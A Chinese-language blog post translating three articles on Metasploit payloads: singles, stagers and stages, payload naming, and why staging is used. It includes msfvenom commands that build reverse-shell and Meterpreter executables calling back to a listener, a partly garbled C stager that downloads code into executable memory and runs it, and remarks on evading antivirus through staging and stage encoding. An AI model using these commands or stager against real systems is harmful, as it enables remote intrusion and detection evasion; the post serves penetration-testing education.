深入理解metasploit的payload

深入理解metasploit的payload

0x01
Metasploit - Payload

简单来说,Payload是黑客用来与被黑了的系统交互的简单脚本。 使用payload,可以将数据传输到已经沦陷的系统。

Metasploit有效载荷可以有三种类型 -
Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。 例如,只是创建一个用户。
Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
Stages - Stages是由Stagers模块下载的payload组件。 各种payload stages提供高级功能,没有规模限制,如Meterpreter和VNC Injection。

例子:
让我们举个例子来理解Metasploit payload的使用。 假设我们有一台易受DCOM MS03-026攻击的Windows Server 2003计算机。
首先,我们将搜索可以使用此漏洞的exp。 我们将使用具有最佳RANK的漏洞利用。
在这里插入图片描述
然后我们使用下列命令来看看我们可以使用的payload
在这里插入图片描述
看到列出的payload可以能帮助我们上传/执行文件,使沦陷的系统成为vnc服务器(能远程监视)
在这里插入图片描述
上图的命令将会显示可以帮助我们在受害者机器上上传/执行文件的payload
在这里插入图片描述
为了设置我们需要的payload,可以使用下列命令
在这里插入图片描述
设置好监听主机和监听端口,受害者的主机和端口
在这里插入图片描述
输入“exploit”就会创建下图所示的会话
在这里插入图片描述
现在我们可以根据此payload提供的设置来操纵受害者的机器了。
(原文:https://www.tutorialspoint.com/metasploit/metasploit_payload.htm)
0x02
How Payloads Work

payload模块位于modules/payloads/{singles,stages,stagers}/>。 当框架启动时,stages与stagers结合以创建可在漏洞利用中使用的完整的payload。 然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。

Payload被赋予参考名称,如下所示:
Staged payloads: / [arch] / /
Single payloads: / [arch] /
这会产生像windows / x64 / meterpreter / reverse_tcp这样的payload。 平台是windows,架构是x64,我们提供的最终的stage是meterpreter,而传递它的stager是reverse_tcp。

请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php / meterpreter / reverse_tcp。 PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。

Singles
Single payload发射后就不管了(就像发射x级火箭一样)。 它们可以与Metasploit建立沟通机制,但没有必要。 你可能会需要single payload的场景就是目标没有接入网络,此时仍然可以通过USB密钥提供文件格式攻击。

Stagers
Stagers是一个小发射器(同样以火箭发射作比喻),旨在创建某种形式的通信,然后将执行传递到下一个阶段。 使用stager解决了两个问题。 首先,它允许我们最初使用较小的有效负载来加载具有更多功能的较大的payload。 其次,它使通信机制与最终阶段分离成为可能,因此一个payload无需复制代码就可以与多个传输一起使用。

Stages
由于stager通过为我们分配大量内存来介意任何大小限制问题,因此stages可以任意大。 它的优点之一是能够以更高级别的语言(如C语言)编写最终阶段的payload。

Delivering Stages
你希望payload连接回来的IP地址和端口被嵌入到stager中。 如上所述,所有staged payload仅仅是建立通信并执行下一阶段的小推进器。 当使用staged payload创建可执行文件时,实际上只是创建了stager。 所以以下命令将创建功能相同的exe文件:
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

(请注意,它们在功能上是相同的 - 但是由于其中有很多随机化,因此没有两个可执行文件是完全相同的)

无论使用stager设置的哪种传输机制(例如:tcp,http,https),Ruby端都是充当客户端。

对于shell阶段,Metasploit会在你与其进行交互时将远程进程的标准输入输出连接到你的终端。
在Meterpreter阶段的情况下,Metasploit将开始使用Meterpreter wire协议。
(原文:https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)

0x03
Staged Payloads – What Pen Testers Should Know

Metasploit框架将攻击与成功利用后执行的内容(payload)分离开来。 Metasploit框架中的payload也分为两部分,即stager和stage。 stager负责下载大型payload(stage),将其注入内存,并将执行动作传递给它。
在这里插入图片描述

Staging是必要的。许多可利用的情况限制了攻击者可以将多少未加载的字节加载到内存中的一个连续位置。在这些情况下进行后渗透的一种方法是分阶段传递payload。
Stagers通常用优化过的汇编语言编写。 攻击者的目标是使stager尽可能小。 一个小的stager可以让攻击者在更多的渗透环境下更自由地使用它。
此代码段显示用C编写的stager。分配缓冲区,下载阶stage,并将控制权传给它。
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char )&size, 4, 0);
if (count != 4 || size <= 0) punt(my_socket, “read a strange or incomplete length value\n”); /
allocate a RWX buffer / buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, “could not allocate buffer\n”); / prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it /
function = (void (
)())buffer;
function();

Staging实现了只需几个stager就可以提供各种payload的目的。 只要我有与stager兼容的代码,我就可以向stager支持的所有漏洞提供我的代码(同样,代码规模是一个制约)。 这种灵活性使得像Beacon这样的有效载荷成为可能,而无需修改Metasploit框架。

使用stager也可以使逃避反病毒引擎变得更加简单。 Windows Meterpreter为700KB,Cobalt Strike的Beacon为120KB。 让我们假设没有大小限制 - 如果我创建一个攻击包,按原样传递我想要的payload,我正在为反病毒软件供应商提供大量需要编写签名的文件。 通过使用stager来传递payload,我只需关注获取stager和攻击包来绕过反病毒软件就可以了。 如果stager没有被安全厂商发现,那么我的stage可能是安全的。

理论上,stage可以是任何大小的任意位置的代码。 实际上,与Metasploit框架一起使用的stage是用C编写的DLL。这些DLL和由Stephen Fewer编写的反射DLL注入库进行编译。 该库能够将库从内存加载到进程中。

在准备stage时,Metasploit框架会将引导代码添加到payload DLL的开头。 此引导代码在payload DLL内存所在位置调用payload DLL中的反射DLL注入函数。 一旦stager将控制传递给它,这个引导代码与反射DLL注入库相结合,允许有效负载在没有接触磁盘的情况下将自身加载到进程中。根据我的经验,此过程需要特定的编译器和设置合适的环境变量才能正常工作。

在这里插入图片描述
如果你在wireshark中查看staging的过程,将会看到未经过混淆的DLL通过网络传输。 此时容易被安全厂商发现。 幸运的是,Metasploit Framework现在可以选择对第二个stage进行编码。 这些选项是EnableStageEncoding和StageEncoder。 Cobalt Strike的Listener Manager功能会自动设置这些选项。
在这里插入图片描述

虽然最简单的stager是连接到攻击机并通过TCP连接下载payload,但情况并非总是如此。 开发人员愿意为其编写代码的任何协议都可以stage over。 Windows提供了一个名为WinINet的丰富库,可以轻松地从任何URL获取内容。 该库位于Internet Explorer下方,为开发人员提供了免费的许多功能。 该库使得通过HTTP或HTTPS获取payload成为可能,同时保持stager小到足以用于大多数漏洞利用。

遗憾的是,在Metasploit Framework工具集下,stager的大小限制使得其他通信选项更具挑战性。 如果没有内置的Windows库来下载代码非常少的stage,那么为该协议编写一个stager就没什么意义了。 如果没有stager至此某种协议,那么让Meterpreter或其他payload使用该协议是没有意义的。 逻辑是这样的 - 如果我可以stage over一种协议,那么我必须能够通过它进行通信。 如果我不能stage over一种协议,我不应该指望我可以首先stage某个payload。

Staged payload是渗透测试人员的利器。 在成功渗透之后,Stagers为我们提供了很多灵活性。虽然这个过程对用户来说基本上是不可见的,但我写这篇文章是为了解释正在发生的事情。我们越熟悉我们的工具,我们就有能力使用好它们。
(原文:https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

0x04
三篇文章,由浅入深,先介绍了msf payload的概念及使用,进而介绍了其工作原理,最后着重介绍了staged payload。三篇文章是不同的大佬所写,今日再查阅相关资料时偶然联系起来,所以翻译后集合在一起发表,译者水平有限,大佬们萌新们看着开心就好了。

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值